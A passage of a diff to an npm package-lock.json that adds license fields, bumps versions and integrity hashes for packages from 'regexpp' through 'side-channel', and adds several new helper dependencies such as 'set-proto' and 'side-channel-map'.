+      "integrity": "sha512-dYqgNSZbDwkaJ2ceRd9ojCGjBq+mOm9LmtXnAnEGyHhN/5R7iDW2TRw3h+o/jCFxus3P2LfWIIiwowAjANm7IA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "functions-have-names": "^1.2.3"
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-errors": "^1.3.0",
+        "get-proto": "^1.0.1",
+        "gopd": "^1.2.0",
+        "set-function-name": "^2.0.2"
       },
       "engines": {
         "node": ">= 0.4"
@@ -7152,6 +8019,7 @@
       "resolved": "https://registry.npmjs.org/regexpp/-/regexpp-2.0.1.tgz",
       "integrity": "sha512-lv0M6+TkDVniA3aD1Eg0DVpfU/booSu7Eev3TDO/mZKHBfVjgCGTV4t4buppESEYDtkArYFOxTJWv6S5C+iaNw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6.5.0"
       }
@@ -7160,13 +8028,15 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/remove-trailing-separator/-/remove-trailing-separator-1.1.0.tgz",
       "integrity": "sha512-/hS+Y0u3aOfIETiaiirUFwDBDzmXPvO+jAfKTitUngIPzdKc6Z0LoFjM/CK5PL4C+eKwHohlHAb6H0VFfmmUsw==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/rename-function-calls": {
       "version": "0.1.1",
       "resolved": "https://registry.npmjs.org/rename-function-calls/-/rename-function-calls-0.1.1.tgz",
       "integrity": "sha512-F+z4csKBo6gw4y5vhIbOhG+UcZVWNh42fW35dagdFP74YrY4ET932NTZZEimMdJz8Efha73caz/OFGxt1vReOA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "detective": "~3.1.0"
       }
@@ -7176,6 +8046,7 @@
       "resolved": "https://registry.npmjs.org/detective/-/detective-3.1.0.tgz",
       "integrity": "sha512-BIvQHuiVSRMufK1OnlpeAzVqF2yXD75ZzYIx8XV4VQiJ48chF/MMYAdsz/NkulhZznwb4fAX8vyi5CUc24I2BA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "escodegen": "~1.1.0",
         "esprima-fb": "3001.1.0-dev-harmony-fb"
@@ -7251,6 +8122,7 @@
       "resolved": "https://registry.npmjs.org/repeat-element/-/repeat-element-1.1.4.tgz",
       "integrity": "sha512-LFiNfRcSu7KK3evMyYOuCzv3L10TW7yC1G2/+StMjK8Y6Vqd2MG7r/Qjw4ghtuCOjFvlnms/iMmLqpvW/ES/WQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -7260,6 +8132,7 @@
       "resolved": "https://registry.npmjs.org/repeat-string/-/repeat-string-1.6.1.tgz",
       "integrity": "sha512-PV0dzCYDNfRi1jCDbJzpW7jNNDRuCOG/jI5ctQcGKt/clZD+YcPS3yIlWuTJMmESC8aevCFmWJy5wjAFgNqN6w==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10"
       }
@@ -7269,6 +8142,7 @@
       "resolved": "https://registry.npmjs.org/replace-requires/-/replace-requires-1.0.4.tgz",
       "integrity": "sha512-9PpQ4IWrhJ+waLnakqT26sOIFW8SPTWZ/aEmz35Pq1V1k1A352nYDTkbhznTGUmYS2MsC0ULJ+2vChstBTxKRw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "detective": "^4.5.0",
         "has-require": "~1.2.1",
@@ -7284,6 +8158,7 @@
       "resolved": "https://registry.npmjs.org/acorn/-/acorn-5.7.4.tgz",
       "integrity": "sha512-1D++VG7BhrtvQpNbBzovKNc1FLGGEE/oGe7b9xJm/RFHMBeUaUGpluV9RLjZa47YFdPcDAenEYuq9pQPcMdLJg==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "acorn": "bin/acorn"
       },
@@ -7296,6 +8171,7 @@
       "resolved": "https://registry.npmjs.org/detective/-/detective-4.7.1.tgz",
       "integrity": "sha512-H6PmeeUcZloWtdt4DAkFyzFL94arpHr3NOwwmVILFiy+9Qd4JTxxXrzfyGk/lmct2qVGBwTSwSXagqu2BxmWig==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "acorn": "^5.2.1",
         "defined": "^1.0.0"
@@ -7307,6 +8183,7 @@
       "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==",
       "deprecated": "request has been deprecated, see https://github.com/request/request/issues/3142",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "aws-sign2": "~0.7.0",
         "aws4": "^1.8.0",
@@ -7338,6 +8215,7 @@
       "resolved": "https://registry.npmjs.org/request-promise-core/-/request-promise-core-1.1.4.tgz",
       "integrity": "sha512-TTbAfBBRdWD7aNNOoVOBH4pN/KigV6LyapYNNlAPA8JwbovRti1E88m3sYAwsLi5ryhPKsE9APwnjFTgdUjTpw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "lodash": "^4.17.19"
       },
@@ -7354,6 +8232,7 @@
       "integrity": "sha512-wcW+sIUiWnKgNY0dqCpOZkUbF/I+YPi+f09JZIDa39Ec+q82CpSYniDp+ISgTTbKmnpJWASeJBPZmoxH84wt3g==",
       "deprecated": "request-promise-native has been deprecated because it extends the now deprecated request package, see https://github.com/request/request/issues/3142",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "request-promise-core": "1.1.4",
         "stealthy-require": "^1.1.1",
@@ -7370,6 +8249,7 @@
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/require-directory/-/require-directory-2.1.1.tgz",
       "integrity": "sha512-fGxEI7+wsG9xrvdjsrlmL22OMTTiHRwAMroiEeMgq8gzoLC/PQr7RsRDSTLUg/bZAZtF+TVIkHc6/4RIKrui+Q==",
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -7378,20 +8258,25 @@
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/require-main-filename/-/require-main-filename-2.0.0.tgz",
       "integrity": "sha512-NKN5kMDylKuldxYLSUfrbo5Tuzh4hd+2E8NPPX02mZtn1VuREQToYe/ZdlJy+J3uCpfaiGF05e7B8W0iXbQHmg==",
-      "dev": true
+      "dev": true,
+      "license": "ISC"
     },
     "node_modules/resolve": {
-      "version": "1.22.4",
-      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.4.tgz",
-      "integrity": "sha512-PXNdCiPqDqeUou+w1C2eTQbNfxKSuMxqTCuvlmmMsk1NWHL5fRrhY6Pl0qEYYc6+QqGClco1Qj8XnjPego4wfg==",
+      "version": "1.22.10",
+      "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.10.tgz",
+      "integrity": "sha512-NPRy+/ncIMeDlTAsuqwKIiferiawhefFJtkNSW0qZJEqMEb+qBt/77B/jGeeek+F0uOeN05CDa6HXbbIgtVX4w==",
+      "license": "MIT",
       "dependencies": {
-        "is-core-module": "^2.13.0",
+        "is-core-module": "^2.16.0",
         "path-parse": "^1.0.7",
         "supports-preserve-symlinks-flag": "^1.0.0"
       },
       "bin": {
         "resolve": "bin/resolve"
       },
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -7401,6 +8286,7 @@
       "resolved": "https://registry.npmjs.org/resolve-cwd/-/resolve-cwd-2.0.0.tgz",
       "integrity": "sha512-ccu8zQTrzVr954472aUVPLEcB3YpKSYR3cg/3lo1okzobPBM+1INXBbBZlDbnI/hbEocnf8j0QVo43hQKrbchg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "resolve-from": "^3.0.0"
       },
@@ -7413,6 +8299,7 @@
       "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-3.0.0.tgz",
       "integrity": "sha512-GnlH6vxLymXJNMBo7XP1fJIzBFbdYt49CuTwmB/6N53t+kMPRMFKz783LlQ4tv28XoQfMWinAJX6WCGf2IlaIw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -7422,6 +8309,7 @@
       "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz",
       "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -7431,13 +8319,15 @@
       "resolved": "https://registry.npmjs.org/resolve-url/-/resolve-url-0.2.1.tgz",
       "integrity": "sha512-ZuF55hVUQaaczgOIwqWzkEcEidmlD/xl44x1UZnhOXcYuFN2S6+rcxpG+C1N3So0wvNI3DmJICUFfu2SxhBmvg==",
       "deprecated": "https://github.com/lydell/resolve-url#deprecated",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/restore-cursor": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/restore-cursor/-/restore-cursor-2.0.0.tgz",
       "integrity": "sha512-6IzJLuGi4+R14vwagDHX+JrXmPVtPpn4mffDJ1UdR7/Edm87fl6yi8mMBIVvFtJaNTUvjughmW4hwLhRG7gC1Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "onetime": "^2.0.0",
         "signal-exit": "^3.0.2"
@@ -7451,6 +8341,7 @@
       "resolved": "https://registry.npmjs.org/ret/-/ret-0.1.15.tgz",
       "integrity": "sha512-TTlYpa+OL+vMMNG24xSlQGEJ3B/RzEfUlLct7b5G/ytav+wPrplCpVMFuwzXbkecJrb6IYo1iFb0S9v37754mg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.12"
       }
@@ -7459,7 +8350,9 @@
       "version": "2.6.3",
       "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz",
       "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==",
+      "deprecated": "Rimraf versions prior to v4 are no longer supported",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "glob": "^7.1.3"
       },
@@ -7472,6 +8365,7 @@
       "resolved": "https://registry.npmjs.org/ripemd160/-/ripemd160-2.0.2.tgz",
       "integrity": "sha512-ii4iagi25WusVoiC4B4lq7pbXfAp3D9v5CwfkY33vffw2+pkDjY1D8GaN7spsxvCSx8dkPqOZCEZyfxcmJG2IA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "hash-base": "^3.0.0",
         "inherits": "^2.0.1"
@@ -7482,6 +8376,7 @@
       "resolved": "https://registry.npmjs.org/rsvp/-/rsvp-4.8.5.tgz",
       "integrity": "sha512-nfMOlASu9OnRJo1mbEk2cz0D56a1MBNrJ7orjRZQG10XDyuvwksKbuXNp6qa+kbn839HwjwhBzhFmdsaEAfauA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": "6.* || >= 7.*"
       }
@@ -7491,6 +8386,7 @@
       "resolved": "https://registry.npmjs.org/run-async/-/run-async-2.4.1.tgz",
       "integrity": "sha512-tvVnVv01b8c1RrA6Ep7JkStj85Guv/YrMcwqYQnwjsAS2cTmmPGBBjAjpCW7RrSodNSoE2/qg9O4bceNvUuDgQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.12.0"
       }
@@ -7500,6 +8396,7 @@
       "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-6.6.7.tgz",
       "integrity": "sha512-hTdwr+7yYNIT5n4AMYp85KA6yw2Va0FLa3Rguvbpa4W3I5xynaBZo41cM3XM+4Q6fRMj3sBYIR1VAmZMXYJvRQ==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "tslib": "^1.9.0"
       },
@@ -7508,14 +8405,16 @@
       }
     },
     "node_modules/safe-array-concat": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.0.0.tgz",
-      "integrity": "sha512-9dVEFruWIsnie89yym+xWTAYASdpw3CJV7Li/6zBewGf9z2i1j31rP6jnY0pHEO4QZh6N0K11bFjWmdR8UGdPQ==",
+      "version": "1.1.3",
+      "resolved": "https://registry.npmjs.org/safe-array-concat/-/safe-array-concat-1.1.3.tgz",
+      "integrity": "sha512-AURm5f0jYEOydBj7VQlVvDrjeFgthDdEF5H1dP+6mNpoXOMo1quQqJ4wvJDyRZ9+pO3kGWoOdmV08cSv2aJV6Q==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.2.0",
-        "has-symbols": "^1.0.3",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.2",
+        "get-intrinsic": "^1.2.6",
+        "has-symbols": "^1.1.0",
         "isarray": "^2.0.5"
       },
       "engines": {
@@ -7529,7 +8428,8 @@
       "version": "2.0.5",
       "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
       "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/safe-buffer": {
       "version": "5.2.1",
@@ -7549,26 +8449,56 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "MIT"
+    },
+    "node_modules/safe-push-apply": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/safe-push-apply/-/safe-push-apply-1.0.0.tgz",
+      "integrity": "sha512-iKE9w/Z7xCzUMIZqdBsp6pEQvwuEebH4vdpjcDWnyzaI6yl6O9FHvVpmGelvEHNsoY6wGblkxR6Zty/h00WiSA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "isarray": "^2.0.5"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/safe-push-apply/node_modules/isarray": {
+      "version": "2.0.5",
+      "resolved": "https://registry.npmjs.org/isarray/-/isarray-2.0.5.tgz",
+      "integrity": "sha512-xHjhDr3cNBK0BzdUJSPXZntQUx/mwMS5Rw4A7lPJ90XGAO6ISP/ePDNuo0vhqOZU+UD5JoodwCAAoZQd3FeAKw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/safe-regex": {
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/safe-regex/-/safe-regex-1.1.0.tgz",
       "integrity": "sha512-aJXcif4xnaNUzvUuC5gcb46oTS7zvg4jpMTnuqtrEPlR3vFr4pxtdTwaF1Qs3Enjn9HK+ZlwQui+a7z0SywIzg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "ret": "~0.1.10"
       }
     },
     "node_modules/safe-regex-test": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.0.0.tgz",
-      "integrity": "sha512-JBUUzyOgEwXQY1NuPtvcj/qcBDbDmEvWufhlnXZIm75DEHp+afM1r1ujJpJsV/gSM4t59tpDyPi1sd6ZaPFfsA==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/safe-regex-test/-/safe-regex-test-1.1.0.tgz",
+      "integrity": "sha512-x/+Cz4YrimQxQccJf5mKEbIa1NzeCRNI5Ecl/ekmlYaampdNLPalVyIcCZNNH3MvmqBugV5TMYZXv0ljslUlaw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "get-intrinsic": "^1.1.3",
-        "is-regex": "^1.1.4"
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "is-regex": "^1.2.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -7578,7 +8508,8 @@
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz",
       "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/sane": {
       "version": "4.1.0",
@@ -7586,6 +8517,7 @@
       "integrity": "sha512-hhbzAgTIX8O7SHfp2c8/kREfEn4qO/9q8C9beyY6+tvZ87EpoZ3i1RIEvp27YBswnNbY9mWd6paKVmKbAgLfZA==",
       "deprecated": "some dependency vulnerabilities fixed, support for node < 10 dropped, and newer ECMAScript syntax/features added",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@cnakazawa/watch": "^1.0.3",
         "anymatch": "^2.0.0",
@@ -7605,15 +8537,17 @@
       }
     },
     "node_modules/sax": {
-      "version": "1.2.4",
-      "resolved": "https://registry.npmjs.org/sax/-/sax-1.2.4.tgz",
-      "integrity": "sha512-NqVDv9TpANUjFm0N8uM5GxL36UgKi9/atZw+x7YFnQ8ckwFGKrl4xX4yWtrey3UJm5nP1kUbnYgLopqWNSRhWw=="
+      "version": "1.4.1",
+      "resolved": "https://registry.npmjs.org/sax/-/sax-1.4.1.tgz",
+      "integrity": "sha512-+aWOz7yVScEGoKNd4PA10LZ8sk0A/z5+nXQG5giUO5rprX9jgYsTdov9qCchZiPIZezbZH+jRut8nPodFAX4Jg==",
+      "license": "ISC"
     },
     "node_modules/scope-analyzer": {
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/scope-analyzer/-/scope-analyzer-2.1.2.tgz",
       "integrity": "sha512-5cfCmsTYV/wPaRIItNxatw02ua/MThdIUNnUOCYp+3LSEJvnG804ANw2VLaavNILIfWXF1D1G2KNANkBBvInwQ==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "array-from": "^2.1.1",
         "dash-ast": "^2.0.1",
@@ -7628,6 +8562,7 @@
       "version": "5.7.2",
       "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.2.tgz",
       "integrity": "sha512-cBznnQ9KjJqU67B52RMC65CMarK2600WFnbkcaiwWq3xy/5haFJlshgnpjovMVJ+Hff49d8GEn0b87C5pDQ10g==",
+      "license": "ISC",
       "bin": {
         "semver": "bin/semver"
       }
@@ -7635,13 +8570,64 @@
     "node_modules/set-blocking": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/set-blocking/-/set-blocking-2.0.0.tgz",
-      "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw=="
+      "integrity": "sha512-KiKBS8AnWGEyLzofFfmvKwpdPzqiy16LvQfK3yv/fVH7Bj13/wl3JSR1J+rfgRE9q7xUJK4qvgS8raSOeLUehw==",
+      "license": "ISC"
+    },
+    "node_modules/set-function-length": {
+      "version": "1.2.2",
+      "resolved": "https://registry.npmjs.org/set-function-length/-/set-function-length-1.2.2.tgz",
+      "integrity": "sha512-pgRc4hJ4/sNjWCSS9AmnS40x3bNMDTknHgL5UaMBTMyJnU90EgWh1Rz+MC9eFu4BuN/UwZjKQuY/1v3rM7HMfg==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "define-data-property": "^1.1.4",
+        "es-errors": "^1.3.0",
+        "function-bind": "^1.1.2",
+        "get-intrinsic": "^1.2.4",
+        "gopd": "^1.0.1",
+        "has-property-descriptors": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/set-function-name": {
+      "version": "2.0.2",
+      "resolved": "https://registry.npmjs.org/set-function-name/-/set-function-name-2.0.2.tgz",
+      "integrity": "sha512-7PGFlmtwsEADb0WYyvCMa1t+yke6daIG4Wirafur5kcf+MhUnPms1UeR0CKQdTZD81yESwMHbtn+TR+dMviakQ==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "define-data-property": "^1.1.4",
+        "es-errors": "^1.3.0",
+        "functions-have-names": "^1.2.3",
+        "has-property-descriptors": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
+    "node_modules/set-proto": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/set-proto/-/set-proto-1.0.0.tgz",
+      "integrity": "sha512-RJRdvCo6IAnPdsvP/7m6bsQqNnn1FCBX5ZNtFL98MmFF/4xAIJTIg1YbHW5DC2W5SKZanrC6i4HsJqlajw/dZw==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "dunder-proto": "^1.0.1",
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.0.0"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      }
     },
     "node_modules/set-value": {
       "version": "2.0.1",
       "resolved": "https://registry.npmjs.org/set-value/-/set-value-2.0.1.tgz",
       "integrity": "sha512-JxHc1weCN68wRY0fhCoXpyK55m/XPHafOmK4UWD7m2CI14GMcFypt4w/0+NV5f/ZMby2F6S2wwA7fgynh9gWSw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "extend-shallow": "^2.0.1",
         "is-extendable": "^0.1.1",
@@ -7657,6 +8643,7 @@
       "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
       "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-extendable": "^0.1.0"
       },
@@ -7669,34 +8656,45 @@
       "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
       "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/sha.js": {
-      "version": "2.4.11",
-      "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.11.tgz",
-      "integrity": "sha512-QMEp5B7cftE7APOjk5Y6xgrbWu+WkLVQwk8JNjZ8nKRciZaByEW6MubieAiToS7+dwvrjGhH8jRXz3MVd0AYqQ==",
+      "version": "2.4.12",
+      "resolved": "https://registry.npmjs.org/sha.js/-/sha.js-2.4.12.tgz",
+      "integrity": "sha512-8LzC5+bvI45BjpfXU8V5fdU2mfeKiQe1D1gIMn7XUlF3OTUrpdJpPPH4EMAnF0DsHHdSZqCdSss5qCmJKuiO3w==",
       "dev": true,
+      "license": "(MIT AND BSD-3-Clause)",
       "dependencies": {
-        "inherits": "^2.0.1",
-        "safe-buffer": "^5.0.1"
+        "inherits": "^2.0.4",
+        "safe-buffer": "^5.2.1",
+        "to-buffer": "^1.2.0"
       },
       "bin": {
         "sha.js": "bin.js"
+      },
+      "engines": {
+        "node": ">= 0.10"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/shallow-copy": {
       "version": "0.0.1",
       "resolved": "https://registry.npmjs.org/shallow-copy/-/shallow-copy-0.0.1.tgz",
       "integrity": "sha512-b6i4ZpVuUxB9h5gfCxPiusKYkqTMOjEbBs4wMaFbkfia4yFv92UKZ6Df8WXcKbn08JNL/abvg3FnMAOfakDvUw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/shasum": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/shasum/-/shasum-1.0.2.tgz",
       "integrity": "sha512-UTzHm/+AzKfO9RgPgRpDIuMSNie1ubXRaljjlhFMNGYoG7z+rm9AHLPMf70R7887xboDH9Q+5YQbWKObFHEAtw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "json-stable-stringify": "~0.0.0",
         "sha.js": "~2.4.4"
@@ -7707,6 +8705,7 @@
       "resolved": "https://registry.npmjs.org/shasum-object/-/shasum-object-1.0.0.tgz",
       "integrity": "sha512-Iqo5rp/3xVi6M4YheapzZhhGPVs0yZwHj7wvwQ1B9z8H6zk+FEnI7y3Teq7qwnekfEhu8WmG2z0z4iWZaxLWVg==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "fast-safe-stringify": "^2.0.7"
       }
@@ -7716,6 +8715,7 @@
       "resolved": "https://registry.npmjs.org/shebang-command/-/shebang-command-1.2.0.tgz",
       "integrity": "sha512-EV3L1+UQWGor21OmnvojK36mhg+TyIKDh3iFBKBohr5xeXIhNBcx8oWdgkTEEQ+BEFFYdLRuqMfd5L84N1V5Vg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "shebang-regex": "^1.0.0"
       },
@@ -7728,15 +8728,20 @@
       "resolved": "https://registry.npmjs.org/shebang-regex/-/shebang-regex-1.0.0.tgz",
       "integrity": "sha512-wpoSFAxys6b2a2wHZ1XpDSgD7N9iVjg29Ph9uV/uaP9Ex/KXlkTZTeddxDPSYQpgvzKLGJke2UU0AzoGCjNIvQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/shell-quote": {
-      "version": "1.8.1",
-      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.1.tgz",
-      "integrity": "sha512-6j1W9l1iAs/4xYBI1SYOVZyFcCis9b4KCLQ8fgAGG07QvzaRLVVRQvAy85yNmmZSjYjg4MWh4gNvlPujU/5LpA==",
+      "version": "1.8.3",
+      "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
+      "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",
       "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
@@ -7745,17 +8750,80 @@
       "version": "0.1.1",
       "resolved": "https://registry.npmjs.org/shellwords/-/shellwords-0.1.1.tgz",
       "integrity": "sha512-vFwSUfQvqybiICwZY5+DAWIPLKsWO31Q91JSKl3UYv+K5c2QRPzn0qzec6QPu1Qc9eHYItiP3NdJqNVqetYAww==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/side-channel": {
-      "version": "1.0.4",
-      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.0.4.tgz",
-      "integrity": "sha512-q5XPytqFEIKHkGdiMIrY10mvLRvnQh42/+GoBlFW3b2LXLE2xxJpZFdm94we0BaoV3RwJyGqg5wS7epxTv0Zvw==",
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/side-channel/-/side-channel-1.1.0.tgz",
+      "integrity": "sha512-ZX99e6tRweoUXqR+VBrslhda51Nh5MTQwou5tnUDgbtyM0dBgmhEDtWGP/xbKn6hqfPRHujUNwz5fy/wbbhnpw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.0",
-        "get-intrinsic": "^1.0.2",
-        "object-inspect": "^1.9.0"
+        "es-errors": "^1.3.0",
+        "object-inspect": "^1.13.3",
+        "side-channel-list": "^1.0.0",
+        "side-channel-map": "^1.0.1",
+        "side-channel-weakmap": "^1.0.2"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-list": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/side-channel-list/-/side-channel-list-1.0.0.tgz",
+      "integrity": "sha512-FCLHtRD/gnpCiCHEiJLOwdmFP+wzCmDEkc9y7NsYxeF4u7Btsn1ZuwgwJGxImImHicJArLP4R0yX4c2KCrMrTA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "es-errors": "^1.3.0",
+        "object-inspect": "^1.13.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-map": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/side-channel-map/-/side-channel-map-1.0.1.tgz",
+      "integrity": "sha512-VCjCNfgMsby3tTdo02nbjtM/ewra6jPHmpThenkTYh8pG9ucZ/1P8So4u4FGBek/BjpOVsDCMoLA/iuBKIFXRA==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.5",
+        "object-inspect": "^1.13.3"
+      },
+      "engines": {
+        "node": ">= 0.4"
+      },
+      "funding": {
+        "url": "https://github.com/sponsors/ljharb"
+      }
+    },
+    "node_modules/side-channel-weakmap": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/side-channel-weakmap/-/side-channel-weakmap-1.0.2.tgz",
+      "integrity": "sha512-WPS/HvHQTYnHisLo9McqBHOJk2FkHO/tlpvldyrnem4aeQp4hai3gythswg6p01oSoTl58rcpiFAjF2br2Ak2A==",
+      "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "call-bound": "^1.0.2",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.5",
+        "object-inspect": "^1.13.3",
+        "side-channel-map": "^1.0.1"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
@@ -7765,7 +8833,8 @@
